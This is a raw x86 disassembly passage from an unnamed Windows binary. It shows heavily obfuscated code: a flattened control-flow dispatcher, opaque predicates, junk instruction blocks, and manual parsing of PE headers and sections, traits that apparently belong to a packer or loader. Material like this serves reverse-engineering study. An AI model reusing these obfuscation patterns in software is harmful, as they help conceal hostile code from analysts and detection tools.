and esi, 0x7aac6abf
or eax, esi
mov esi, ecx
xor esi, 0x81001100
xor ecx, 0x6edfc65d
or edx, ecx
and ecx, 0x7aac6abf
and esi, 0x85539540
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov ecx, edx
xor ecx, 0x6437f548
mov eax, edx
and eax, 0x73ef0e54
and ecx, edx
not edx
and edx, 0x8c10f1ab
or eax, edx
mov edx, eax
xor eax, 0x410f108
xor edx, 0x40070040
mov esi, eax
or esi, 0x12400215
and edx, 0x44175140
and esi, 0x3260a61d
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcd9f59e2
or eax, esi
and esi, 0x3260a61d
or ecx, esi
not eax
mov esi, 0xfd5341c9
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9bc80ab7
and eax, 0x6437f548
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc3d2e7d
and ecx, 0xf3c2d182
or eax, ecx
mov ecx, eax
xor ecx, 0xc050669
xor eax, 0x80409180
and eax, 0x8078b994
and ecx, 0x7f87466b
or ecx, eax
xor ecx, 0x7f87466b
sete ah
setne ch
cmp dword [0x460980], 0xa
setl cl
setge dl
mov al, cl
and dl, ah
xor al, ch
and ch, cl
or cl, ah
or dl, ch
xor cl, 1
mov ah, al
or cl, dl
not ah
mov edx, ecx
not dl
and dl, al
or al, cl
and cl, ah
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x2011bc6d
cmovne ecx, esi
test al, al
mov eax, 0x2011bc6d
jmp 0x40e85f
mov eax, dword [ebp - 0x134]
mov eax, 0x1263bd1d
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, eax
or edx, 0x4cd48a0
mov ecx, edi
mov esi, edi
or ecx, 0xb020000
and edx, 0xfcf48a0
and esi, 0xa020111a
and edi, 0x538ae8e1
or esi, edx
mov edx, eax
and ecx, 0xfcf48a0
and edx, 0x5010a645
and eax, 0xac75171e
or edx, ecx
or eax, edi
xor edx, esi
mov ecx, edx
not ecx
and edx, 0xfaca2017
and ecx, 0x535dfe8
or edx, ecx
mov ecx, edx
xor edx, 0xa614cc80
xor ecx, 0x51e8310c
mov esi, ecx
and esi, 0x4923327b
and edx, 0xb6dccd84
or edx, esi
mov esi, eax
xor esi, 0xa4540504
xor eax, 0x538ae8e1
or ecx, eax
and eax, 0x4923327b
and esi, 0xb6dccd84
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xe0514b35
mov eax, ecx
not eax
and ecx, 0xd8d03ca5
and eax, 0x272fc35a
or ecx, eax
xor ecx, 0xd8d03ca5
setne cl
sete al
cmp dword [0x460980], 0xa
mov dh, cl
setl ah
setge ch
mov dl, ah
and dh, ch
xor cl, ch
and dl, al
and cl, al
xor al, ah
or dl, dh
and al, ah
xor dl, 1
or al, cl
or dl, ch
xor dl, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2660f433
cmovne edx, esi
test al, 1
mov eax, 0x2660f433
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, 0xf4289194
jmp 0x402260
mov eax, 0x9d70e0d7
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x5567d2c8
and edx, 0xaa982d37
or edx, ecx
mov eax, edx
mov ecx, edx
xor edx, 0xaa982d36
xor eax, 0x5567d2c8
xor ecx, 0x5567d2c9
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0x7ba180c6
mov esi, edx
and esi, 0x845e7f39
or ecx, esi
mov esi, eax
not esi
and eax, 0x7ba180c6
or edx, esi
and esi, 0x845e7f39
or eax, esi
not edx
mov esi, 0xe0514b35
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0x5951020a
and eax, 0xa6aefdf5
or eax, edx
mov ecx, eax
xor ecx, 0x101000a
xor eax, 0xa6aefdf5
mov edx, eax
and edx, 0x58f4ef64
and ecx, 0xa70b109b
or ecx, edx
xor ecx, 0x58f4ef64
xor eax, ecx
test eax, ecx
sete dl
setne dh
cmp dword [0x460980], 0xa
mov ebx, edx
setl ah
setge cl
mov al, ah
mov ch, ah
and bl, cl
or cl, dh
xor al, dh
and ch, dh
or dh, ah
xor cl, 1
not al
or ch, bl
and al, ah
xor ah, dl
xor ch, 1
xor al, 1
or cl, ah
mov dl, ch
mov bh, al
or al, dh
or ch, cl
xor dl, cl
xor ch, 1
xor bh, dh
xor al, 1
or ch, dl
or al, bh
mov edx, eax
mov cl, ch
and al, ch
xor cl, 1
xor dl, 1
and cl, dl
or dl, ch
or al, cl
mov ah, dl
xor ah, al
test dl, 1
mov edx, 0x96bebc1b
cmovne edx, esi
test al, 1
cmove edx, esi
test ah, 1
mov eax, 0x96bebc1b
jmp 0x411186
dec esi
inc esi
dec ebx
rcr ebx, 0xfd
and ebx, 0xe6
add eax, 0xb0
sub eax, 0x37
sub ebx, 0x35
neg eax
and eax, 0xc7
ror edi, 0x48
neg edx
sbb edx, 0x51
rcl edi, 0x46
not ebx
sub esi, 0x1a
dec esi
imul edi
rcl edx, 0xde
bswap edi
rol edi, 0x7c
bswap edi
not ebx
rcr ebx, 0xf
dec eax
not eax
inc edi
dec eax
mov ebx, 9
rcl esi, 0x15
bswap ebx
inc edi
rcl edi, 7
mov eax, 0xc0
imul edx
dec edi
add ebx, 0xf
add eax, 0xcd
neg eax
sbb edx, 0xff
rcl eax, 0xb0
sub eax, 0xce
mov eax, 0x7d
mov esi, 0xe0
rcl edx, 0xc6
ror eax, 0x37
ror edx, 0xb9
imul ebx
bswap ebx
add eax, 0x7e
not eax
rol eax, 0xf5
rcr edi, 0xc6
add eax, 0xc2
rcr esi, 0x4b
sbb esi, 0x21
dec esi
imul ebx
rcr edx, 0x93
add esi, 0xda
ror ebx, 0xc3
not eax
ror edx, 0xb4
dec esi
imul ebx
bswap edx
add edx, 0xec
rcl esi, 0x8f
inc edi
inc esi
inc edx
or ebx, 0x72
ror ebx, 0x7e
rol esi, 0x92
rcr ebx, 0x1e
bswap eax
rcl ebx, 0xc7
neg edi
sbb eax, 0xa7
or edi, 0xb6
inc esi
bswap ebx
neg eax
not edi
not edx
ror ebx, 0xf6
sub ebx, 0x13
sub edi, 0x3a
imul edx
dec edi
bswap ebx
neg edx
neg esi
sub edx, 0xc0
ror ebx, 0xd8
sub ebx, 0x9d
rcr ebx, 0xdf
or esi, 0xbe
imul ebx
rol ebx, 0x53
rcl esi, 0x70
rcl ebx, 0x14
not esi
neg edx
inc edx
add eax, 0xdc
imul eax
imul esi
rcr esi, 0xed
dec ebx
mov ebx, pe_nt_image_headers32
and esi, 0x60
rcl ebx, 0x8a
rol eax, 0x93
ror eax, 0xd
ror eax, 0x39
or esi, 0xa1
dec eax
dec ebx
add edx, 0xc8
inc esi
not edi
rcl edx, 0xb
mov ebx, 0xf6
mov esi, 0x59
rcr edi, 0xf8
rcr esi, 0x5c
not esi
neg eax
sub esi, 0xc0
dec eax
imul ebx
rcr eax, 0xf1
or ebx, 0x1e
sub edx, 0xf2
or ebx, 0x6d
not edi
or esi, 0x82
neg edi
ror esi, 0x6e
sub edx, 0xd
ror esi, 0x1d
or edi, 0x41
sbb edi, 0xb5
dec edx
inc edi
neg edi
sbb edx, 0xa8
and edi, 0x61
not edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xd9243a42
mov eax, edx
and eax, 0x26dbc5bc
and edx, 0x212023e4
or esi, eax
mov eax, ecx
and eax, 1
and ecx, 0xdedfdc1b
xor esi, 0xd9243a42
or ecx, edx
or eax, esi
mov esi, eax
not esi
and eax, 0xc60bdb68
and esi, 0x39f42497
or eax, esi
mov esi, 0x2de1b92d
mov edi, eax
xor edi, 0x800a5960
xor eax, 0x39f42497
mov edx, eax
and edx, 0x57a1820c
and edi, 0xa85e7df3
or edi, edx
mov edx, ecx
xor edx, 0x885e5c13
xor ecx, 0x212023e4
or eax, ecx
and ecx, 0x57a1820c
and edx, 0xa85e7df3
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4ab8d019
and ecx, 0xb5472fe6
or eax, ecx
cmp eax, 0x4ab8d019
sete cl
cmp dword [0x460980], 0xa
setge al
mov edx, eax
xor dl, cl
xor dl, 1
mov ah, dl
and dl, cl
or ah, al
or al, cl
xor al, 1
mov cl, ah
or al, dl
xor al, 1
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd72f914f
cmovne eax, esi
test cl, cl
mov ecx, 0xd72f914f
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, 0xb8ea2070
jmp 0x402260
push 0x400
push section..data
push dword [ebp - 0xf8]
vzeroupper
call fcn.004307e0
add esp, 0xc
dec edi
imul edi
and edx, 0xe6
and ebx, 0x1e
ror ebx, 0x7f
imul esi
and eax, 0xcf
dec ebx
or edi, 7
not eax
bswap ebx
dec eax
mov edi, 0x50
ror esi, 0x34
add eax, 0x4a
dec edx
not edi
or ebx, 0x56
not eax
inc edx
not ebx
rol esi, 0x49
inc eax
dec esi
inc eax
ror edx, 0xf1
dec eax
neg edx
sub edi, 0x4d
or eax, 0xdc
bswap ebx
inc edi
add ebx, 0xb8
add ebx, 0xca
inc edx
rcr eax, 0x97
not esi
or edx, 0x3f
sbb edx, 0xde
add edx, 9
sbb edi, 0xed
sub eax, 0xc7
bswap edi
imul esi
bswap eax
ror esi, 0xe7
not ebx
and ebx, 0x5a
rol edi, 0x74
not ebx
imul ebx
inc edx
dec eax
imul edi
dec esi
imul edi
imul esi
sub esi, 0x2d
rol edi, 0xa5
sub eax, 0xdf
bswap ebx
inc ebx
sbb esi, 0x81
inc edi
rcr edx, 0x1a
rcr ebx, 0xb3
sub edx, 6
not ebx
bswap edi
neg edi
rcr esi, 0xb2
dec ebx
neg edx
ror ebx, 0xbd
imul ebx
add esi, 0xd7
neg eax
and ebx, 0x2c
inc ebx
sbb edx, 0x51
dec esi
or edi, 0x47
not edx
neg edi
and ebx, 0xb1
add esi, 0x54
dec esi
mov ebx, 0x7b
bswap esi
not esi
sbb eax, 0x97
bswap edi
rol edx, 0x42
rol ebx, 0xc
rcl eax, 0x5d
bswap eax
inc esi
neg esi
ror edi, 0x82
inc ebx
and esi, 0xd2
add edi, 0x44
dec edx
ror ebx, 0x67
sub eax, 0xa6
dec edi
neg edx
not edx
inc eax
not eax
not edx
bswap esi
dec edx
or edi, 0x1d
imul eax
bswap eax
rcl ebx, 0x8d
sub edi, 0x6b
dec ebx
bswap edx
add eax, 0xa7
mov edi, 0xdc
not edx
and eax, 0xc
dec edx
or edx, 0
and ebx, 8
imul edx
rcr edx, 0xd9
dec edx
or esi, 0x35
or ebx, 0x66
bswap edi
bswap edx
neg esi
dec eax
not edi
add ebx, 0x29
rcr ebx, 0xc3
or esi, 0x3e
or esi, 0
neg esi
sbb edi, 0x65
ror edx, 0x5f
imul esi
inc ebx
imul ebx
dec esi
imul edx
ror edx, 0xf0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
movzx eax, word [ecx + 0x14]
mov edx, dword [ebp - 0x2c]
lea eax, [ecx + eax + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0xa94765f4
jmp 0x402260
mov eax, dword [ebp - 0x18]
mov eax, 0xcf41bad
jmp 0x402260
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, 0x2b34c1c1
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa83bf632
mov ecx, edx
and ecx, 0x57c409cc
and edx, 0x8e67a779
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x71985886
xor esi, 0xa83bf632
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc35b000c
and esi, 0x3ca4fff3
or ecx, esi
mov esi, 0xbce08333
mov edi, ecx
xor edi, 0x3100000
xor ecx, 0x3ca4fff3
mov edx, ecx
and edx, 0xe8ef80fc
and edi, 0x17107f03
or edi, edx
mov edx, eax
xor edx, 0x11105802
xor eax, 0x8e67a779
or ecx, eax
and eax, 0xe8ef80fc
and edx, 0x17107f03
or edx, eax
not ecx
xor edx, edi
mov edi, 0x69af0c6d
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402260
mov eax, 0x3e95dcd4
mov dword [ebp - 0x24], 2
jmp 0x402260
mov eax, 0xa3876a95
jmp 0x402260
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xce615fec
mov eax, ecx
not eax
and edx, ecx
or ecx, 0x319ea013
mov esi, eax
and esi, 0x8c6104c0
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x43005b2f
and edx, 0xbcffa4d0
or ecx, ebx
and ebx, 0x43005b2f
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xd9408291
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd5da3874
and edx, 0x2a25c78b
or ecx, edx
mov edx, ecx
xor edx, 0x18a24708
xor ecx, 0x40400866
and ecx, 0x435928f7
and edx, 0xbca6d708
or edx, ecx
xor edx, 0xbca6d708
or edx, eax
xor edx, 0xffffffff
setne dl
sete al
cmp dword [0x460980], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or dh, cl
xor al, 1
mov ah, dl
mov cl, dh
xor ah, al
or al, dl
xor cl, ch
xor al, 1
and cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xf1b76480
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0xf1b76480
jmp 0x411c9e
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xbc4096b9
jmp 0x402260
mov eax, 0xc923858a
jmp 0x402260
mov ecx, dword [0x460984]
mov esi, 0xa0765ca3
mov edi, 0x6a32211a
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x74a8739e
and ecx, 0x8b578c61
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x8a160860
xor ecx, 0x74a8739e
xor eax, 0x74a8739f
and eax, ecx
and edx, 0x9e160afc
and ecx, 0x61e9f503
or ecx, edx
xor ecx, 0x61e9f502
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xd8e5dc96
and eax, 0x271a2369
or ecx, eax
xor ecx, 0xd8e5dc96
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
setge cl
or ah, dl
or al, cl
or cl, dl
mov dl, ah
xor cl, 1
xor dl, al
or al, ah
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x6a32211a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x40f842
mov dword [ebp - 0x24], 0
mov eax, 0x3676ca0e
jmp 0x402260
mov ecx, dword [ebp - 0x1b4]
mov edx, ecx
xor edx, 0x515252f7
mov eax, ecx
and eax, 0x5212d0
and edx, ecx
not ecx
and ecx, 0x51004027
or eax, ecx
xor eax, 0x5212d0
or eax, edx
not edx
and edx, 0xaeadad08
and eax, 0x515252f7
or eax, edx
mov edx, eax
xor edx, 0x40000000
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xbfffffff
and eax, 0x40000000
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xacb9c4bd
mov edi, eax
not edi
mov esi, ecx
and esi, 0x53463b42
and eax, 0xacb9c4bd
or ecx, edi
and edi, 0x53463b42
or edx, esi
or eax, edi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x497b65ea
and eax, 0xb6849a15
or ecx, eax
mov eax, ecx
xor eax, 0x14021ca
xor ecx, 0x22809a04
and ecx, 0x6abbde24
and eax, 0x954421db
or eax, ecx
mov ecx, eax
xor ecx, 0xab21220
xor eax, 0x954421db
mov edx, eax
and edx, 0xe40decdc
and ecx, 0x1bf21323
or ecx, edx
mov edx, 0xe42d9011
xor ecx, 0xe40decdc
xor eax, ecx
test eax, ecx
mov eax, 0x7a4fd38a
cmove eax, edx
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x149d5ceb
and edx, 0xeb62a314
or edx, esi
mov esi, ecx
not esi
and ecx, 0xeb62a314
or eax, esi
and esi, 0x149d5ceb
or ecx, esi
not eax
mov esi, 0x72ee9153
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x85e44f7e
and edx, 0xfffffffe
and ecx, 0x7a1bb081
or eax, ecx
xor eax, 0x85e44f7f
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb44cf655
and ecx, 0x4bb309aa
or eax, ecx
mov ecx, eax
xor ecx, 0x94001615
xor eax, 0xbb00020
and eax, 0x2bfce060
and ecx, 0xd4031f9f
or ecx, eax
xor ecx, 0x2bfce060
sete ah
setne dl
cmp dword [0x460980], 0xa
mov dh, ah
setl ch
setge al
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor ch, ah
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
xor bl, dh
xor cl, 1
or al, dl
mov dl, ch
or cl, bl
xor ch, al
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xd220617c
jmp 0x410b1b
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x31080e00
and eax, 0xce56f19f
and ecx, 0xa10060
or edx, ecx
xor edx, 0x31080e00
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe5106c95
and ecx, 0x1aef936a
or eax, ecx
mov ecx, eax
mov edx, eax
xor ecx, 0xc0300211
xor edx, 0x2b469d0a
xor eax, 0x10006001
mov esi, edx
and esi, 0x1ec97cee
and ecx, 0xe1368311
or edx, 0xe9c00a00
and eax, 0x12006003
or ecx, esi
and edx, 0xe9f28bcc
mov edi, ecx
xor edi, 0x8c00800
mov esi, ecx
xor esi, 0x40010
or eax, edx
or edi, 0x3281cc
and esi, 0x40d1430
and edi, 0xe9f28bcc
or esi, edi
xor eax, esi
mov esi, 0xa53b0758
mov edx, eax
not edx
and eax, 0x6328a60d
and edx, 0x9cd759f2
or eax, edx
mov edx, ecx
xor edx, 0x81208100
xor ecx, 0x144064ea
or edx, 1
and ecx, 0x745666fa
xor eax, 0x8ee5b83c
and edx, 0x8ba99905
or edx, ecx
xor edx, 0x8ba99905
or edx, eax
mov ecx, edx
not ecx
and edx, 0xe730ea2
and ecx, 0xf18cf15d
or ecx, edx
mov eax, ecx
xor eax, 0x8430c80
xor ecx, 0xe104011c
and ecx, 0xe734033e
and eax, 0x18cbfcc1
or eax, ecx
mov ecx, eax
xor ecx, 0x188148c1
xor eax, 0xe704031a
and eax, 0xe74eb71a
and ecx, 0x18b148e5
or ecx, eax
xor ecx, 0x18b148e5
sete dl
setne cl
cmp dword [0x460980], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x22a1d74d
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
jmp 0x41098d
mov eax, 0x6f8852d8
jmp 0x402260
mov eax, 0x56132739
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x1aca255a
andn edx, eax, esi
and esi, eax
mov ecx, esi
not ecx
and esi, 0x98e5bf9e
mov edi, ecx
and edi, 0x671a4061
or esi, edi
mov edi, edx
not edi
and edx, 0x98e5bf9e
or ecx, edi
and edi, 0x671a4061
or edx, edi
not ecx
xor edx, esi
mov esi, eax
not esi
or ecx, edx
and esi, 0x6f0b3325
mov edx, ecx
not edx
and ecx, 0xf255c63
and edx, 0xf0daa39c
or ecx, edx
mov edx, eax
and edx, 0x90f4ccda
and eax, 1
or edx, esi
xor ecx, 0xea1086c7
mov esi, 0x68f529bf
xor edx, 0x6f0b3324
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5693ba80
and ecx, 0xa96c457f
or eax, ecx
mov ecx, eax
xor ecx, 0x56008a00
xor eax, 0xa1284536
and eax, 0xa1bb75b6
and ecx, 0x5e448a49
or ecx, eax
mov eax, ecx
xor eax, 0x1180116
xor ecx, 0x1c008008
and ecx, 0xbca3f4a8
and eax, 0x435c0b57
or eax, ecx
mov ecx, eax
xor ecx, 0x414c0105
xor eax, 0xb8835000
and eax, 0xba935a52
and ecx, 0x456ca5ad
or ecx, eax
xor ecx, 0x456ca5ad
setne dl
sete ah
cmp dword [0x460980], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and al, ah
xor cl, dl
and dl, ch
and cl, ch
or ch, ah
or al, dl
xor ch, 1
xor cl, 1
or al, ch
mov ebx, ecx
or cl, dh
mov dl, al
xor bl, dh
xor cl, 1
xor dl, 1
or cl, bl
and al, dl
mov ah, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, dl
or dl, cl
xor al, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xe2c41f63
cmovne edx, esi
test al, 1
not cl
mov eax, 0xe2c41f63
jmp 0x40ed47
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
mov edx, eax
xor edx, 0xfffffffe
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0x73f708ae
and esi, 0x8c08f750
or esi, edi
mov edi, edx
not edi
and edx, 0x8c08f751
or ecx, edi
and edi, 0x73f708ae
or edx, edi
not ecx
mov edi, 0x8647696e
xor edx, esi
mov esi, 0xdefee5db
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne al
cmp dword [0x460980], 0xa
mov ch, al
setl ah
setge cl
or cl, al
xor al, ah
or ch, ah
not al
mov edx, ecx
and al, ah
mov ah, ch
xor dl, 1
xor al, 1
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0x8647696e
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
jmp 0x411a17
mov dword [ebp - 0x24], 7
mov eax, 0x60b45ff9
jmp 0x402260
mov dword [ebp - 0x24], 0xa
mov eax, 0x9c7b60b7
jmp 0x402260
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xdd19ffc3
and ecx, 0x22e6003c
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x786a25e1
and edx, 0x8795da1e
or edx, esi
mov esi, ecx
xor esi, 0x284001c
xor ecx, 0xdd19ffc3
or eax, ecx
and ecx, 0x786a25e1
and esi, 0x8795da1e
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xf07cac0
mov ecx, eax
not ecx
and eax, 0x62aef18a
and ecx, 0x9d510e75
or eax, ecx
xor eax, 0x62aef18a
sete ah
setne dl
cmp dword [0x460980], 0xa
setge cl
setl ch
mov dh, cl
mov al, ch
xor dh, dl
or al, dl
and dh, dl
and dl, ch
mov ch, cl
xor al, 1
xor ch, ah
or al, dh
and ch, cl
and cl, ah
or cl, dl
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and dl, ah
or ah, cl
and cl, al
or cl, dl
mov edx, 0x67a35d84
mov al, cl
xor al, ah
test cl, 1
mov ecx, 0x67a35d84
cmovne ecx, esi
test ah, 1
cmovne ecx, edx
test al, 1
jmp 0x40e864
mov eax, dword [ebp - 0x54]
mov eax, 0x929cc781
jmp 0x402260
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0x99]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 1
and ecx, 0x232a70f
mov edx, esi
and edx, 0xfffffffe
and esi, 0xfdcd58f0
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0xec69c3e2
and edx, 0x13963c1d
or edx, esi
mov esi, ecx
xor esi, 0x212240d
xor ecx, 0xfdcd58f0
or eax, ecx
and ecx, 0xec69c3e2
and esi, 0x13963c1d
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x3386249
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setl cl
setge al
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ch, al
mov edx, ecx
not ch
and cl, al
xor dl, 1
or al, dl
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xf733dacd
cmovne ecx, esi
test dl, dl
mov esi, 0xf733dacd
mov edx, ecx
cmovne edx, esi
jmp 0x410e71
mov eax, 0x7908b90c
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x7f5aa9a8
and edx, 0x80a55657
or eax, edx
mov edx, eax
xor edx, 0x3f580120
xor eax, 0x80a55657
mov esi, eax
and esi, 0xc023ae88
and edx, 0x3fdc5177
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3fdc5177
or eax, esi
and esi, 0xc023ae88
or ecx, esi
not eax
mov esi, 0x34a3cb30
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2c8bdb7a
and ecx, 0xd3742485
or ecx, eax
mov eax, ecx
xor eax, 0x10400084
xor ecx, 0x8038a68
and ecx, 0xcb37ae69
and eax, 0x34c85196
or eax, ecx
mov ecx, eax
xor ecx, 0x41150461
xor eax, 0x30805112
and eax, 0xbaa2fb1a
and ecx, 0x455d04e5
or ecx, eax
cmp ecx, 0x455d04e5
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x2a8f0367
cmovne eax, esi
test dl, dl
mov edx, 0x2a8f0367
jmp 0x411767
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x114]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
